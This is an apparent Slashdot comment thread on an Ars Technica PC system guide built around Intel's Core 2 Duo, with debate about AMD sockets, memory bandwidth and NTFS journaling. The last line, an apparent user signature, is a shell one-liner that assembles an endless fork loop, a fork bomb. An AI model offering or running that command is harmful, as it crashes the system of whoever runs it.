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Ars Evaluates Core 2 Duo in Latest System Guide
RevDobbs writes "I always take a peek at the Ars Technica System Guides before white-boxing my next PC. Well, today I hit the site and see that they recently published their first post-Core 2 Duo System Guide." From the article: "The new Intel Core 2 Duo processors bring a swift change to the Hot Rod, making the lifespan of Socket AM2 very brief in the Hot Rod. Performance from the Core 2 Duo (aka, Conroe) appears to be excellent in all regards, from pure performance to heat output. Overclocking prospects also look excellent, with an overclocked Core 2 Duo being an amazingly fast chip for the money."
Intel is doing a lot of things right. This is a common core from laptop to server. Keeping it simple--AMD has a lot to worry about. I wonder about what a giant leap in energy issues would do. For example, greatly reduce power reduction at the transistor level. The whole issue of power usage would go away--and you'd have Intel and AMD racing for performance as they did in the late 1990's. The Conroe is a great processor, but a lot of effort went toward being miserly.
And I'm still waiting for an architecture change. How about finally retiring the byte as a base logical unit? In return, just use the bit, or whatever word length the machine is.
Karma: SELECT `karma` FROM `users` WHERE `userid`=138474;
As an AMD fanboy, I'd say it is faster, but only it because it is made using the skin from beaten 3rd world children. Can you handle that on your conscience when you play GTA on your PC... CAN YOU!?
Warhammer forums
Jesus Christ, under what circumstance would you build a desktop machine that powerful and use linux?
Seems like, if you are building a god box... you simply want the very best.
The real question is: which Linux.
;-)
--Phillip
Can you say BIRTH TAX
Newsflash: A lot of data is still 8 bits wide.
And for your information: Processors like the x86 series are not byte addressable. They usually load a cacheline and the processor fetches the byte you want.
So instead of doing
movb (%rax),%bl
You'd have to do
movq (%rax),%rbx
andq $255,%rbx
Worse yet, if you want the [say] 5th byte of a 64-bit word...
movq (%rax),%rbx
shrq $40,%rbx
andq $255,%rbx
That's clearly a winning idea!
Tom
Someday, I'll have a real sig.
Laughable.
There is no dal Intel has that AMD wouldn't take in a second.
Evil...sheesh, how easy is someones life when there evil is a company trying to get exlusive contract.
And don't forget two rules:
The consumer rules
The 99% of user do NOT care what cpu they use, so it makes no sense to create a line of machine for more then one processor company.
The Kruger Dunning explains most post on
With the Core 2 Duo processor, there has been quite a significant leap in energy issues. While the current trend for the past 4 or 5 years has been to beef clock speeds and performance at the expense of power consumption, Intel's major stride has been to drastically increase performance while cutting power consumption in half. If AMD can match this power consumption (Intel's chips currently run at 40W according to their information), then we can concentrate again on having a speed war. The effort that went into being miserly had to be done at some point, and now it's up to AMD to catch up.
There isn't a decent board for the Conroe that's under $250.
Either they don't support DDR2800 (anything less is a waste), or they don't have SLI, or they're missing amenities like firewire or decent onboard sound.
A "budget" Conroe system is difficult to spec since unless you go DDR2800 you aren't going to have much over a DDR400/DDR500-based AMD K8 system (and I'm not talking AM2, but the same logic applies). Memory bandwidth is a bottleneck for performance and usability. Despite Conroe's advances in CPU power, most situations where you wait for the computer are not CPU bound (unless you are heavy into movie/music decoding/compression). An bus-overclocked low power K8 (like the Opteron Denmark) can still beat a Conroe system in memory throughput.
DDR2800 brings this to parity but then you are not talking about a cheap system anymore; it's everything EXCEPT for the CPU that costs too much.
Hopefully in the next few months we'll see price drops in DDR2 memory and more competetion in the Core-2 Duo compatible motherboards. This should make them more affordable and help to shake out the gold implementations.
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
I remember not that long ago when socket 939 came out that AMD said that this was going to be the socket they were going to stay on for a looong time and that the sacrifices of obsoleting the 754 and 940 were totally worth it: when AM2 came out so soon after it really made me wonder, why is there a need for a new socket right now? It's not like X2AM2 chips are that much different from X2939 ones...
And btw, I can't believe they put only 8gigs on the highest-end box, I would think 16 would be the bare minimum, heck, I'm thinking of going to 4 gigs on my pedestrian x2-4800, you'd think that something of that calibre would be a bit better equipped.
-- the cake is a lie
No, actually, to use the full power of the God Box requires something with fewer root exploits and journaling file systems...
1. Core Duo will be faster than anything AMD has released currently. That is primarily because it is manufactured with 65nm process unlike all of AMD processors which are made with the 90nm process.
2. The push to the socket AM2 architecture was to enable DDR2 support for AMD chips. Socket 939 could not support the faster memory that is hitting the market now, such as the DDR2 800Mhz (cheaper) or the brutal DDR2 1066Mhz (save your pennies).
AMD has stated that the AM2 platform motherboards will be able to support their next generation of chips. So if you are like me and made the plunge, your mobo won't be obsolete for a good long time.
snake
Here I am, here I remain.
If you're an overclocker, the Asus P5B's new BIOS revision supports multiplier unlocking for non Extreme Core 2 processors, as http://www.anandtech.com/mb/showdoc.aspx?i=2822 points out.
NTFS wasn't a journaling filesystem until v5, released with Windows 2000. Ext3 is not the only other journaled file out there. SGI's XFS, IBM's JFS, Sun's UFS logging, Veritas's VxFS, NetApp's WAFL, BSD's soft updates, and ReiserFS all predate journaled NTFS, some of them by quite a few years.
I just checked out the system guide for the "Hot Rod". Since the Asus P5B Deluxe motherboard has Dolby 7.1 channel audio on board, why would one need to spend $110 on a separate audio card? Is there really a difference between on-board audio and the audio cards that are mentioned in this article?
FreeBSD of course ;)
Bloggy Goodness
Umm, what do you mean be "wasn't journalling until v5". It's always had a transaction log file from the initial release. Check here for NT 3.1.
http://support.microsoft.com/?kbid=101670
The idea is it can rollback partially completed transactions and recover from bad shutdowns. Also it can do it quickly without searching the whole filesystem for inconsistencies. That's the whole point to NTFS.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;